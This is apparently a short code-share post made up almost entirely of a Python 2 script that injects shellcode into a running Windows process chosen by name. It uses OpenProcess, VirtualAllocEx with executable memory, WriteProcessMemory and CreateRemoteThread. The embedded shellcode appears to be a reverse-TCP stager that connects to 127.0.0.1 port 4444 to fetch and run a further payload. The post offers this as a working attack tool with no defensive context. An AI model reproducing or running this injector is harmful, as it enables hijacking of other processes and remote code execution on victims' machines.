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2019-06-01 916

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简介： import sysimport psutil import ctypes from ctypes import * PAGE_EXECUTE_READWRITE = 0x000000...

import sys
import psutil  
import ctypes  
from ctypes import *  
  
PAGE_EXECUTE_READWRITE         = 0x00000040  
PROCESS_ALL_ACCESS =     ( 0x000F0000 | 0x00100000 | 0xFFF )  
VIRTUAL_MEM        =     ( 0x1000 | 0x2000 )  
  
kernel32      = windll.kernel32  
pName         = sys.argv[1]  
  
if not sys.argv[1]:  
    print "Code Injector: ./code_injector.py <name to inject>"  
    sys.exit(0)  
  
# shellcode = \  
# "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"\  
# "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"\  
# "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"\  
# "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"\  
# "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"\  
# "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"\  
# "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"\  
# "\x49\x0b\x31\xc0\x51\x50\xff\xd7";  

shellcode =  ""
shellcode += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
shellcode += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
shellcode += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
shellcode += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
shellcode += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
shellcode += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
shellcode += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
shellcode += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
shellcode += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
shellcode += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
shellcode += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
shellcode += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
shellcode += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
shellcode += "\xff\xd5\x6a\x05\x68\x7f\x00\x00\x01\x68\x02\x00\x11"
shellcode += "\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
shellcode += "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
shellcode += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec"
shellcode += "\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02"
shellcode += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a"
shellcode += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
shellcode += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
shellcode += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00\x40"
shellcode += "\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57"
shellcode += "\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9"
shellcode += "\x71\xff\xff\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0"
shellcode += "\xb5\xa2\x56\x6a\x00\x53\xff\xd5"
  
  
  
code_size     = len(shellcode)  
  
TH32CS_SNAPPROCESS = 0x00000002  
class PROCESSENTRY32(ctypes.Structure):  
     _fields_ = [("dwSize", ctypes.c_ulong),  
                 ("cntUsage", ctypes.c_ulong),  
                 ("th32ProcessID", ctypes.c_ulong),  
                 ("th32DefaultHeapID", ctypes.c_ulong),  
                 ("th32ModuleID", ctypes.c_ulong),  
                 ("cntThreads", ctypes.c_ulong),  
                 ("th32ParentProcessID", ctypes.c_ulong),  
                 ("pcPriClassBase", ctypes.c_ulong),  
                 ("dwFlags", ctypes.c_ulong),  
                 ("szExeFile", ctypes.c_char * 260)]  
  
# def getProcPid(procName):  
#     CreateToolhelp32Snapshot = ctypes.windll.kernel32.CreateToolhelp32Snapshot  
#     Process32First = ctypes.windll.kernel32.Process32First  
#     Process32Next = ctypes.windll.kernel32.Process32Next  
#     CloseHandle = ctypes.windll.kernel32.CloseHandle  
      
#     hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)  
      
#     pe32 = PROCESSENTRY32()  
#     pe32.dwSize = ctypes.sizeof(PROCESSENTRY32)  
#     if Process32First(hProcessSnap,ctypes.byref(pe32)) == False:  
#         return  
#     if pe32.szExeFile == procName:  
#         CloseHandle(hProcessSnap)  
#         return pe32.th32ProcessID  
      
#     while True:  
#         #yield pe32 #save the pe32  
#         if Process32Next(hProcessSnap,ctypes.byref(pe32)) == False:  
#             break  
#         if pe32.szExeFile == procName:  
#             CloseHandle(hProcessSnap)  
#             return pe32.th32ProcessID  
          
#     CloseHandle(hProcessSnap)  


def getProcName(pname):
    """ get process by name
    
    return the first process if there are more than one
    """
    for proc in psutil.process_iter():
        try:
            if proc.name().lower() == pname.lower():
                return str(proc).split('=')[1].split(',')[0]  # return if found one
        except psutil.AccessDenied:
            pass
        except psutil.NoSuchProcess:
            pass
    return None

  
procPid = int(getProcName(pName))  
# procPid = 40560
print procPid  
  
# Get a handle to the process we are injecting into.  
h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, procPid )  
  
if not h_process:  
  
    print "[*] Couldn't acquire a handle to PID: %s" % pid  
    sys.exit(0)  
  
# Allocate some space for the shellcode  
arg_address = kernel32.VirtualAllocEx( h_process, 0, code_size, VIRTUAL_MEM, PAGE_EXECUTE_READWRITE)  
  
# Write out the shellcode  
written = c_int(0)  
kernel32.WriteProcessMemory(h_process, arg_address, shellcode, code_size, byref(written))  
  
# Now we create the remote thread and point it's entry routine  
# to be head of our shellcode  
thread_id = c_ulong(0)  
if not kernel32.CreateRemoteThread(h_process,None,0,arg_address,None,0,byref(thread_id)):  
  
    print "[*] Failed to inject process-killing shellcode. Exiting."  
    sys.exit(0)  
  
print "[*] Remote thread successfully created with a thread ID of: 0x%08x" % thread_id.value

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